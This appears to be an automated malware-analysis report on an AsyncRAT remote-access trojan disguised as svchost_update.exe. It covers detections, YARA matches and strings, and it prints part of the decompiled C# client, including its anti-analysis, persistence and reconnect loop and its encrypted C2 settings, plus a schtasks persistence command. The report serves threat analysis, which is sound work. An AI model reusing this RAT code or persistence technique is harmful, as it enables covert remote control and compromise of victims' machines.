svchost_update.exeasyncrat analysis report - Malicious
Run integrity
sample ranThe guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.
Malicious
100/100
30 points past the malicious line at 70.
Why this verdict
- 3 high-risk capability(ies): indicator removal, reflective code loading, sandbox evasion
- 7 supporting capabilities in one unsigned binary: file discovery, obfuscation, process discovery, registry query
- 1 high-risk capability bucket(s): Anti-debugging
- Malicious strings: injection / execution
- .NET source: Downloads and executes a remote payload, Reflectively loads an in-memory assembly
- Local ML score 100.0
- Antivirus detection: Win.Packed.Razy-9625918-0
- Installed registry Run-key persistence (+1 more runtime behavior)
- Identified as AsyncRAT (possible confidence, named by static_yara)
- Registry Run Key points at a file this run produced: svchost_update.exe
- 1 persistence mechanism(s): Registry Run Key
- Registry Run Key is not charged here: the runtime layer already scored the same autostart write as a behaviour.
- findings review (advisory, not scored): malicious - c2 communication, registry persistence, process injection, anti-analysis
Model reading
Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.
Reads this report's derived findings, never the sample itself.
A model reading exists for this scan and is shown to the submitter and to staff only. It is a second opinion about evidence the score already priced, it is worth no points, and on a public page it would stand beside the verdict with no grounding a stranger could check.
- HIGH .NET source: Reflectively loads an in-memory assembly
- HIGH Antivirus detection: Win.Packed.Razy-9625918-0
- HIGH Injection/execution API strings
- HIGH Installed registry Run-key persistence
Analysis layers
Malware family
1 independent sourceNamed by a single source. Treat it as a lead rather than a classification.
| Layer | Source | What it matched |
|---|---|---|
| static_yara | rule corpus | AsyncRAT_057B |
Detection signatures
19 detected · 3 withheld as common| Severity | Detection | Evidence | Layer |
|---|---|---|---|
| HIGH |
.NET source: Downloads and executes a remote payload
MITRE T1105
|
- | dynamic |
| HIGH |
.NET source: Reflectively loads an in-memory assembly
MITRE T1620
|
- | dynamic |
| HIGH |
Antivirus detection: Win.Packed.Razy-9625918-0
|
antivirus
Win.Packed.Razy-9625918-0
antivirus engine match
|
antivirus |
| HIGH |
Injection/execution API strings
MITRE T1055
|
string
downloadstring
matched string
string
frombase64string
matched string
|
static |
| HIGH |
Installed registry Run-key persistence
MITRE T1547.001
|
runtime
registry persistence
observed in the guest
|
dynamic |
| MED |
.NET source: Decrypts an embedded payload at runtime
MITRE T1140
|
- | dynamic |
| MED |
.NET source: Large embedded base64 blob (packed payload/resource)
MITRE T1027
|
- | dynamic |
| MED |
.NET source: Registry Run-key / startup persistence
MITRE T1547.001
|
- | dynamic |
| MED |
Anti-analysis strings present
MITRE T1497
|
string
checkremotedebuggerpresent
matched string
string
isdebuggerpresent
matched string
string
sandboxie
matched string
string
sbiedll
matched string
string
vmware
matched string
|
static |
| MED |
Anti-debug: CheckRemoteDebuggerPresent
MITRE T1622
|
string
checkremotedebuggerpresent
found in the sample's strings
|
static |
| MED |
Dropped an executable to disk
MITRE T1105
|
file
C:\Users\user\AppData\Roaming\svchost_update.exe
dropped
file
C:\Users\user\AppData\Local\Temp\tmp17C5.tmp.bat
dropped
|
dynamic |
| MED |
Persistence-related strings
MITRE T1547
|
string
schtasks /create
matched string
|
static |
| MED |
Ransomware-related strings
MITRE T1486
|
string
.crypt
matched string
string
decrypt
matched string
|
static |
| MED |
Surveillance/keylogging strings
MITRE T1056
|
string
getforegroundwindow
matched string
|
static |
| LOW |
Executes via ShellExecute
MITRE T1204
seen in 12% of benign software
|
string
shellexecute
found in the sample's strings
|
static |
| LOW |
Network communication capability
MITRE T1071
seen in 6% of benign software
|
capability
connect
capability: network
capability
send
capability: network
|
static |
| LOW |
Reads the foreground window (activity monitoring)
MITRE T1113
|
string
getforegroundwindow
found in the sample's strings
|
static |
| INFO |
.NET managed assembly (decompiled)
|
- | static |
| INFO |
Stages in the temp directory (GetTempPath)
MITRE T1074
seen in 15% of benign software
|
string
gettemppath
found in the sample's strings
|
static |
These rules matched this sample, and they also match this much of known-clean software (measured over 1145 signed Windows and third-party binaries). A rule that fires on most clean files cannot move a verdict, so it is held back unless the detonation confirms the behaviour. They are listed because a count that shrinks without saying so is not a count an analyst can check.
Persistence
1 mechanismAuto-start methods established during detonation or referenced statically. The Persistence tab lists these against every method checked.
What the tests returned
5 testsEach test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.
| Test | Result |
|---|---|
| Cross-process injection | none observed |
| Network connections | not tested - internet was disabled |
| Behavioural rule matches (Sigma) | none observed |
| Known-malicious hash (reputation sources) | no source reported this file |
| Anti-analysis / evasion checks | not measured on this run - no in-process API monitor reported in, so the runtime anti-debug and anti-VM calls were never watched |
Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.
Arguing against malice
- No reputation source reported this file as malicious.
How much weight this carries
Confirmed. Independent external evidence, or the same behaviour seen by more than one analysis layer. The one fact that decided it: the local AV engine flagged the file.
Structure
What the file is made of: headers, imports, how it was built and whether it was signed.
Sections & resources
How the file is laid out in memory, and what is embedded in it: section roles, access rights, entropy and every resource entry.
Signatures & packing
What matched and what is hidden: signature rules, detected capabilities, family attribution, packer detection, unpacked payloads and recovered configuration.
Strings
The readable content: embedded secrets, flagged strings and everything extraction recovered.
Code
What the sample would execute: the emulated API call sequence, and the disassembled entry point.
Antivirus engine
signature match signature set 28146 - 3.6M signaturesA local signature engine recognises these bytes. The name below is what that one engine calls them - it is a signature name, not an independent family attribution, and two engines routinely give the same file two different names.
Signature Win.Packed.Razy-9625918-0
| Signature set | Value |
|---|---|
| Set version | 28146 |
| Signatures in the set | 3,642,835 |
| Set published | 07 Oct 2026 06:24 +0000 |
| Age when this file was scanned | same day |
A negative answer is only as good as the signature set that gave it, so the set is recorded with the result and the result can be reproduced against it.
Local ML assessment
100.0 of 100 8 strongest of 2568 featuresA gradient-boosted model running entirely on this host scored this file 100.0 of 100 on structure alone: its headers, sections, imports, strings and signature. The file was not executed and nothing about it left this machine.
Read this as corroboration and not as a verdict. Measured across this corpus the model separates signed software from unsigned software more sharply than malicious from benign, so it is charged at most 15 of 100 verdict points and only on top of evidence this report measured for itself. The eight features below are the ones that moved it furthest.
| Structural feature | What it means | Pushes | Weight |
|---|---|---|---|
| image flag dll | Image flag: a library rather than a program | towards malicious | +1.5895 |
| parser warning: Suspicious flags set for section... | Header defect reported by the parse: Suspicious flags set for section... (0) | towards benign | -0.5405 |
| optional.checksum | Header checksum, which is zero on most files that were never signed (0) | towards malicious | +0.4878 |
| imported function count | Number of functions imported from other libraries (1) | towards malicious | +0.4810 |
| coff.timestamp | Build timestamp recorded in the header (1776103040) | towards malicious | +0.4691 |
| feature column 2478 | When a timestamp authority countersigned the signature | towards malicious | +0.3559 |
| feature column 650 | Text in the file matching the pattern download | towards malicious | +0.3501 |
| debug directory size | Size of the debug table (0) | towards malicious | +0.3268 |
A weight is a log-odds nudge away from the model's own baseline, not a percentage point. Where a feature names a section, an import or a build id, the number beside it is the model's own hashed cell for that name rather than a measurement of the file: two names can share one cell and the sign comes from the hash, so no number is shown for those rows.
- .NET managed binary (no obfuscator signature matched)
Secrets & malicious strings
11 flagged stringsFlagged string categories
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| downloadstring | raw bytes | present in the file bytes only |
| frombase64string | raw bytes | present in the file bytes only |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| checkremotedebuggerpresent | raw bytes | present in the file bytes only |
| isdebuggerpresent | raw bytes | present in the file bytes only |
| sandboxie | extracted string | DetectSandboxie |
| sbiedll | extracted string | SbieDll.dll |
| vmware | raw bytes | present in the file bytes only |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| .crypt | extracted string | System.Security.Cryptography.X509Certificates |
| decrypt | extracted string | CreateDecryptor |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| schtasks /create | extracted string | /c schtasks /create /f /sc onlogon /rl highest /tn " |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| getforegroundwindow | raw bytes | present in the file bytes only |
Capabilities
2 behaviour buckets · 1 high-risk| Severity | Capability | MITRE | APIs |
|---|---|---|---|
| high | Anti-debugging Detects or obstructs a debugger |
T1622 | checkremotedebuggerpresent, isdebuggerpresent |
| med | Network / C2 Opens sockets, HTTP or downloads payloads |
T1071 | connect, send |
Security mitigations
partial posture.NET managed
| Assembly | svchost_update 1.0.0.0 |
|---|---|
| Streams | #~ #Strings #US #GUID #Blob |
| P/Invoke | 6 unmanaged import(s): CheckRemoteDebuggerPresent, GetForegroundWindow, GetModuleHandle, GetWindowText, RtlSetProcessIsCritical, SetThreadExecutionState |
Sections
3 sections · the file's memory layout| Section | Virtual addr | Raw size | Virtual size | Access | Entropy |
|---|---|---|---|---|---|
|
.textEP
Executable code
|
0x2000 |
42.5 KB
|
42.2 KB
|
EXECUTEREAD
|
5.5037
|
|
.rsrc
Resources
|
0xe000 |
2.0 KB
|
2.0 KB
|
READ
|
4.8059
|
|
.reloc
Base relocations
|
0x10000 |
512.0 B
|
12.0 B
|
READ
|
0.0815
|
Imports
1 funcs / 1 DLL0 of these function were seen called at runtime.
Open the imports pageBinary metadata
what the headers declare about this build| Resource langs | NEU |
|---|---|
| Debug info | no |
| TLS callbacks | no |
Code signing
UnsignedThis binary carries no Authenticode signature. Unsigned executables are a weak suspicious signal - most legitimate vendor software is signed.
Resources
Everything the binary carries inside it: icons, bitmaps, cursors, dialogs, string tables, the manifest and the version block. Select an entry to preview it and take a copy.
Resources
Resource Hacker viewSelect a resource from the tree to inspect its language, size, RVA offset, MD5, entropy and detected content signature - like opening the binary in Resource Hacker.
| Type | Manifest |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 1.1 KB |
| RVA offset | 0xe36c |
| Content signature | XML manifest |
| MD5 | fd29301b5d8935606626f78b52b99694 |
| Entropy | 5.188 |
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
| Type | Version Info |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 716.0 B |
| RVA offset | 0xe0a0 |
| Content signature | Version Info |
| MD5 | 16ec11406456535d1de48d96513667e8 |
| Entropy | 3.152 |
| Comments | |
|---|---|
| CompanyName | |
| FileVersion | 1.0.0.0 |
| ProductName | |
| InternalName | Stub.exe |
| LegalCopyright | |
| ProductVersion | 1.0.0.0 |
| FileDescription | |
| LegalTrademarks | |
| Assembly Version | 1.0.0.0 |
| OriginalFilename | Stub.exe |
Similar samples
22 related samplesRanked by fuzzy hash (TLSH distance - lower is closer) and ssdeep similarity, plus an identical import table and functions shared once library code is removed. A near-identical neighbour is usually the same build; a variant is the same family rebuilt or repacked.
| Relation | Sample | Verdict | Why it matched |
|---|---|---|---|
| related | ZuLauncher.exe | Suspicious | identical import table (imphash) |
| related | CrackPotassium.exe | Malicious | identical import table (imphash) |
| related | Bind Remover.exe | Malicious | identical import table (imphash) |
| related | START.exe | Suspicious | identical import table (imphash) |
| related | Server.exe | Malicious | identical import table (imphash) |
| related | dfsvc.exe | No threats detected | identical import table (imphash) |
| related | dotnet_b64_3des_cbc_to_404keylo… | Malicious | identical import table (imphash) |
| related | WeMod Geometry Dash Setup.exe | No threats detected | identical import table (imphash) |
| related | MetaDataStringEditor.exe | No threats detected | identical import table (imphash) |
| related | cr-keygen.exe | Malicious | identical import table (imphash) |
| related | IronCrownSetup (2).exe | Malicious | identical import table (imphash) |
| related | AlyxMP-Setup.exe | Suspicious | identical import table (imphash) |
| related | VM.v2.1.exe | Malicious | identical import table (imphash) |
| related | SpyTeam.exe | Suspicious | identical import table (imphash) |
| related | XIAOMI BOOTLOADER TOOL.exe | Suspicious | identical import table (imphash) |
| related | M4R7HGroup.exe | Suspicious | identical import table (imphash) |
| related | Dungeons2SkinLoader.exe | No threats detected | identical import table (imphash) |
| related | EndcordInstaller.exe | Malicious | identical import table (imphash) |
| related | Capri-Setup.exe | Malicious | identical import table (imphash) |
| related | Capri-Setup.exe | Malicious | identical import table (imphash) |
| related | XWorm V3.1.exe | Malicious | identical import table (imphash) |
| related | Capri-Setup.exe | Malicious | identical import table (imphash) |
Threat classification
Signature family candidates| Family | Agreeing rules | Matched rules | Disposition |
|---|---|---|---|
| AsyncRAT | 1 | AsyncRAT_057B | Not a classification: one rule cannot establish a family, so this named nothing and scored nothing. |
| SEKOIA Rat Win Asyncrat | 1 | SEKOIA_Rat_Win_Asyncrat | Not a classification: one rule cannot establish a family, so this named nothing and scored nothing. |
Capability detection
54 capabilitiesThe capability analysis reports a limitation on this class of file: (internal) .NET file limitation.
Read what follows as the capabilities of the code that could be read, not of the file as a whole.
| Capability | Namespace |
|---|---|
| create process in .NET | host-interaction/process/create |
| read file in .NET | host-interaction/file-system/read |
| create or open mutex on Windows | host-interaction/mutex |
| suspend thread | host-interaction/thread/suspend |
| create TCP socket | communication/socket/tcp |
| get OS version in .NET | host-interaction/os/version |
| create thread | host-interaction/thread/create |
| create or open registry key | - |
| get process image filename | host-interaction/process |
| check for sandbox and av modules | anti-analysis/anti-av |
| enter debug mode in .NET | host-interaction/process/modify |
| terminate process | host-interaction/process/terminate |
| decode data using Base64 in .NET | data-manipulation/encoding/base64 |
| generate random numbers in .NET | data-manipulation/prng |
| manipulate network credentials in .NET | communication/authentication |
| read data from Internet | communication/http/client |
| receive data | communication |
| resolve DNS | communication/dns |
| execute via timer in .NET | host-interaction/thread/timer |
| send data to Internet | communication/http/client |
| send data | communication |
| get session user name | host-interaction/session |
| create a process with modified I/O handles and window | host-interaction/process/create |
| set registry value | host-interaction/registry/create |
| generate random filename in .NET | host-interaction/file-system |
| check if file exists | host-interaction/file-system/exists |
| query environment variable | host-interaction/environment-variable |
| schedule task via schtasks | persistence/scheduled-tasks |
| delete file | host-interaction/file-system/delete |
| enumerate processes | host-interaction/process/list |
| query or enumerate registry key | host-interaction/registry |
| self delete | anti-analysis/anti-forensic/self-deletion |
| get disk size | host-interaction/hardware/storage |
| get common file path | host-interaction/file-system |
| access WMI data in .NET | host-interaction/wmi |
| check for debugger via API | anti-analysis/anti-debugging/debugger-detection |
| unmanaged call | runtime |
| get number of processors | host-interaction/hardware/cpu |
| get hostname | host-interaction/os/hostname |
| hash data with MD5 | data-manipulation/hashing/md5 |
| get session integrity level | host-interaction/session |
| get graphical window text | host-interaction/gui/window/get-text |
| query or enumerate registry value | host-interaction/registry |
| delete registry value | host-interaction/registry/delete |
| delete registry key | host-interaction/registry/delete |
| load .NET assembly | load-code/dotnet |
| encode data using Base64 | data-manipulation/encoding/base64 |
| hash data using SHA256 | data-manipulation/hashing/sha256 |
| contain loop | - |
| compress data using GZip in .NET | data-manipulation/compression |
| compiled to the .NET platform | runtime/dotnet |
| reference anti-VM strings targeting VMWare | anti-analysis/anti-vm/vm-detection |
| reference anti-VM strings targeting VirtualBox | anti-analysis/anti-vm/vm-detection |
Signature matches
4 findings · 3 file properties · 0 scored| Rule | What it matched | Corpus | Weight |
|---|---|---|---|
|
SEKOIA_Rat_Win_Asyncrat
FILE
rule dated 2023-01-25
|
Detect AsyncRAT based on specific strings
12 of 12 strings matched
$str01
get_ActivatePong
at 0x6828
$str02
get_SslClient
at 0x75b0
$str03
get_TcpClient
at 0x75cc
$str04
get_SendSync
at 0x5e06
$str05
get_IsConnected
at 0x5e56
$str06
set_UseShellExecute
at 0x65b3
$str07
P\x00a\x00s\x00t\x00e\x00b\x00i\x00n\x00
at 0x9e03
$str08
S\x00e\x00l\x00e\x00c\x00t\x00 \x00*\x00 \x00f\x00r\x00o\x00m\x00 \x00A\x00n\x00...
at 0x9e85
and 4 more
|
Tier 2 - community rule feed
may confirm a family name, never establish one on its own
|
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
Names SEKOIA Rat Win Asyncrat, but one rule cannot establish a family: two independent rules must agree, so this named nothing.
|
|
AsyncRAT_057B
rule dated 2026-03-31
|
AsyncRAT 0.5.7B -- minimal .NET RAT with PBKDF2 key derivation and MessagePack serialization
6 of 6 strings matched
$salt
\xbf\xeb\x1eV\xfb\xcd\x97;\xb2\x19\x02$0\xa5xC\x00=VD\xd2\x1eb\xb9\xd4\xf1\x80\xe7\xe6\xc39A
at 0x250
$ns_handle
Handle_Packet
at 0x74f9
$cmd_save
s\x00a\x00v\x00e\x00P\x00l\x00u\x00g\x00i\x00n\x00
at 0x9f15
$cmd_pong
p\x00o\x00n\x00g\x00
at 0x9efd
$cert_field
ServerCertificate
at 0x63c8
$msgpack
MessagePackLib
at 0x5c5d · 2 hits
|
Tier 1 - curated family set
licence-gated and benign-tested; may name a malware family
|
SCORED 0
Scored 0: category "malware" is not one the score model reads. No branch of the score model reads it.
Names AsyncRAT, but one rule cannot establish a family: two independent rules must agree, so this named nothing.
|
|
win_asyncrat_j1
rule dated 2020-04-26
|
detects AsyncRAT
13 of 16 strings matched
$str_anti_1
V\x00I\x00R\x00T\x00U\x00A\x00L\x00
at 0x9cd5
$str_anti_2
v\x00m\x00w\x00a\x00r\x00e\x00
at 0x9ce5
$str_anti_3
V\x00i\x00r\x00t\x00u\x00a\x00l\x00B\x00o\x00x\x00
at 0x9cf3
$str_anti_4
S\x00b\x00i\x00e\x00D\x00l\x00l\x00.\x00d\x00l\x00l\x00
at 0x9d09
$str_b_rev_run
\\\x00n\x00u\x00R\x00\\\x00n\x00o\x00i\x00s\x00r\x00e\x00V\x00t\x00n\x00e\x00r\x00...
at 0x9b5d
$str_b_msg_pack_1
(\x00e\x00x\x00t\x008\x00,\x00e\x00x\x00t\x001\x006\x00,\x00e\x00x\x003\x002\x00...
at 0xa0d1
$str_b_msg_pack_2
(\x00n\x00e\x00v\x00e\x00r\x00 \x00u\x00s\x00e\x00d\x00)\x00 \x00t\x00y\x00p\x00...
at 0xa0a5
$str_config_1
A\x00n\x00t\x00i\x00v\x00i\x00r\x00u\x00s\x00
at 0x9e15 · 2 hits
and 5 more
|
Tier 3 - community corpus
casts no family vote; every measured false family match came from here
|
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
|
|
Njrat
RAT
|
Njrat
10 of 17 strings matched
$string1
FromBase64String
at 0x6765
$string2
Base64String
at 0x6769 · 2 hits
$string3
Connected
at 0x5e4c · 4 hits
$string4
Receive
at 0x5e76 · 2 hits
$string5
Send
at 0x5e0a · 6 hits
$string7
DeleteSubKey
at 0x609b · 2 hits
$string8
get_MachineName
at 0x626a
$string9
get_UserName
at 0x62a8
and 2 more
|
Tier 3 - community corpus
casts no family vote; every measured false family match came from here
|
SCORED 0
Scored 0: the rule declares no category. No branch of the score model reads it.
|
These say what the file IS or holds - bitness, subsystem, an overlay, an embedded macro stream, which compiler built it. Ordinary files match several, and none of them carry weight in the score.
None of the rules above moved the score. The score model reads four rule categories - anti-vm, anti-debug, dropper and packer - and a rule outside them can match, and be worth reading, without being evidence the verdict is built on.
Extracted strings
showing 200 of 614- !This program cannot be run in DOS mode.
- .text
- `.rsrc
- @.reloc
- #Strings
- #GUID
- Action`10
- IEnumerable`1
- CallSite`1
- List`1
- __StaticArrayInitTypeSize=32
- Microsoft.Win32
- ToUInt32
- SwapInt32
- X509Certificate2
- WriteUInt64
- ToUInt64
- GetAsUInt64
- SetAsUInt64
- SwapInt64
- ToUInt16
- SwapInt16
- HMACSHA256
- __StaticArrayInitTypeSize=6
- get_UTF8
- <Module>
- MessagePackLib.<PrivateImplementationDetails>
- 1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B
- ES_SYSTEM_REQUIRED
- ES_DISPLAY_REQUIRED
- MapNameToOID
- HWID
- get_FormatID
- EXECUTION_STATE
- 87639126EA77B358F26532367DBA67C5310EF50A8D9888ED070CD40E1F605A8F
- get_ASCII
- System.IO
- ES_CONTINUOUS
- get_IV
- set_IV
- GenerateIV
- value__
- ReadServertData
- data
- mscorlib
- System.Collections.Generic
- Microsoft.VisualBasic
- get_SendSync
- EndRead
- BeginRead
- Thread
- Load
- InnerAdd
- SHA256Managed
- get_Connected
- get_IsConnected
- set_IsConnected
- Received
- System.Collections.Specialized
- get_Guid
- Hwid
- <SendSync>k__BackingField
- <IsConnected>k__BackingField
- <KeepAlive>k__BackingField
- <HeaderSize>k__BackingField
- <Ping>k__BackingField
- <ActivatePong>k__BackingField
- <Interval>k__BackingField
- <Buffer>k__BackingField
- <Offset>k__BackingField
- <SslClient>k__BackingField
- <TcpClient>k__BackingField
- InnerAddMapChild
- InnerAddArrayChild
- Send
- Append
- RegistryValueKind
- Replace
- CreateInstance
- set_Mode
- FileMode
- PaddingMode
- EnterDebugMode
- CryptoStreamMode
- CompressionMode
- CipherMode
- SelectMode
- utf8Encode
- DeleteSubKeyTree
- get_Message
- DetectSandboxie
- IEnumerable
- IDisposable
- ToDouble
- get_Handle
- RuntimeFieldHandle
- GetModuleHandle
- RuntimeTypeHandle
- GetTypeFromHandle
- WaitHandle
- WriteSingle
- ToSingle
- SetAsSingle
- InstallFile
- DecodeFromFile
- SaveBytesToFile
- IsInRole
- WindowsBuiltInRole
- GetActiveWindowTitle
- get_MainModule
- ProcessModule
- set_WindowStyle
- ProcessWindowStyle
- get_Name
- get_FileName
- set_FileName
- GetTempFileName
- GetFileName
- fileName
- lpModuleName
- get_MachineName
- get_OSFullName
- get_FullName
- IsValidDomainName
- get_UserName
- lowerName
- SetName
- CheckHostName
- name
- DateTime
- get_LastWriteTime
- ToUniversalTime
- WriteLine
- Combine
- UriHostNameType
- get_ValueType
- valueType
- ProtocolType
- GetType
- SocketType
- FileShare
- System.Core
- Serversignature
- Close
- Dispose
- Parse
- StrReverse
- X509Certificate
- ValidateServerCertificate
- certificate
- svchost_update
- Create
- SetThreadExecutionState
- Delete
- CallSite
- Write
- CompilerGeneratedAttribute
- DebuggableAttribute
- ComVisibleAttribute
- AssemblyTitleAttribute
- AssemblyTrademarkAttribute
- TargetFrameworkAttribute
- AssemblyFileVersionAttribute
- AssemblyConfigurationAttribute
- AssemblyDescriptionAttribute
- DefaultMemberAttribute
- CompilationRelaxationsAttribute
- AssemblyProductAttribute
- AssemblyCopyrightAttribute
- AssemblyCompanyAttribute
- RuntimeCompatibilityAttribute
- set_UseShellExecute
- ReadByte
- WriteByte
- DeleteValue
- innerValue
- GetValue
- SetValue
- value
- get_KeepAlive
- set_KeepAlive
- Remove
- svchost_update.exe
- set_BlockSize
- get_TotalSize
- get_HeaderSize
- set_HeaderSize
- set_SendBufferSize
- set_ReceiveBufferSize
- set_KeySize
- IndexOf
- strFlag
- CryptoConfig
- get_Ping
- set_Ping
- System.Threading
- set_Padding
- add_SessionEnding
- SystemEvents_SessionEnding
- UTF8Encoding
No strings match this filter.
Stack and decoded strings were not recovered: no reason was recorded. Only literal strings present in the file are listed above.
Disassembly
entry point · x86 · 60 insns (listing capped)Nothing in this view
This sample produced no results for this part of the static analysis.
Import fingerprint
no related sample| Fingerprint | 3:rGsLdAIEK:tf |
|---|---|
| Imports read | 1 function from 1 library (1 distinct) |
| Comparable | no (fewer than 8 distinct imports) |
No comparison was run: this import table is not distinctive enough for a match to mean anything.
AI security review
advisory, not scoredReview of this assembly has not run
Reports stored before this section existed carry no reading, and one is not written after the fact. Rescanning the sample produces it.
Decompiled .NET source
5 findings C# 26 types · 2312 linesDecompiled from IL. Every type defined in the assembly is listed below; on a merged or packed sample some of it belongs to a bundled library rather than to the author. Behaviour review and the AI layer read only the author's own types.
| Severity | Behavior detected in source | MITRE |
|---|---|---|
| high | Downloads and executes a remote payload | T1105 |
| high | Reflectively loads an in-memory assembly | T1620 |
| med | Decrypts an embedded payload at runtime | T1140 |
| med | Large embedded base64 blob (packed payload/resource) | T1027 |
| med | Registry Run-key / startup persistence | T1547.001 |
using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Client.Algorithm;
using Client.Connection;
using Client.Handle_Packet;
using Client.Helper;
using Client.Install;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using Microsoft.Win32;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: ComVisible(false)]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Client
{
public class Program
{
public static void Main()
{
for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
{
Thread.Sleep(1000);
}
if (!Settings.InitializeSettings())
{
Environment.Exit(0);
}
try
{
if (!MutexControl.CreateMutex())
{
Environment.Exit(0);
}
if (Convert.ToBoolean(Settings.Anti))
{
Anti_Analysis.RunAntiAnalysis();
}
if (Convert.ToBoolean(Settings.Install))
{
NormalStartup.Install();
}
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
{
ProcessCritical.Set();
}
Methods.PreventSleep();
}
catch
{
}
while (true)
{
try
{
if (!ClientSocket.IsConnected)
{
ClientSocket.Reconnect();
ClientSocket.InitializeClient();
}
}
catch
{
}
Thread.Sleep(5000);
}
}
}
public static class Settings
{
public static string Ports = "EFyY4THWbqUeGbv9bPt4DzDpfpPcnSglPxH5wBg/p+yfbCJXi6DdG+gUpYA/rSo5Diz7cZn8i1bc1c0LZmnCmA==";
public static string Hosts = "GNpqWdF1lN3sEAD8+Ln3pV/J1PYAxn7LkSffTqpkaHYThEKPwqpWPeOCSk2bKx6X/CM+Ai22hVGXzFgw9XH5CQ==";
public static string Version = "JLdrk3fAZbSOCVYQSS9HPoCZPzfUNee/YuYDVYcnh9SyQYBMZfwzZg0qypHML7rEi7dmPnnjOHNxWoy4gP+ZNA==";
public static string Install = "t6ZvwT4+WFLnnFRiCfLQxXFLiD4uSsaBRFUayPVrIUZjYQ7ji8HrXrhodPCMQ7QB8f0O1MR1vYI0skOx/mAegA==";
public static string InstallFolder = "%AppData%";
public static string InstallFile = "svchost_update.exe";
public static string Key = "WHhDc1pCeDN1YnhZUHd3M0ZmNXdOdWpTNmZFVGM0aWE=";
public static string MTX = "J8hRcxKEv7jG3DRX8MNdEgL7jSSF04b8QR//XH4RZXd8ONxsIz3RXWNo/D4Y206d1/LnAPgKNfKurpRz1ZOonw==";
public static string Certificate = 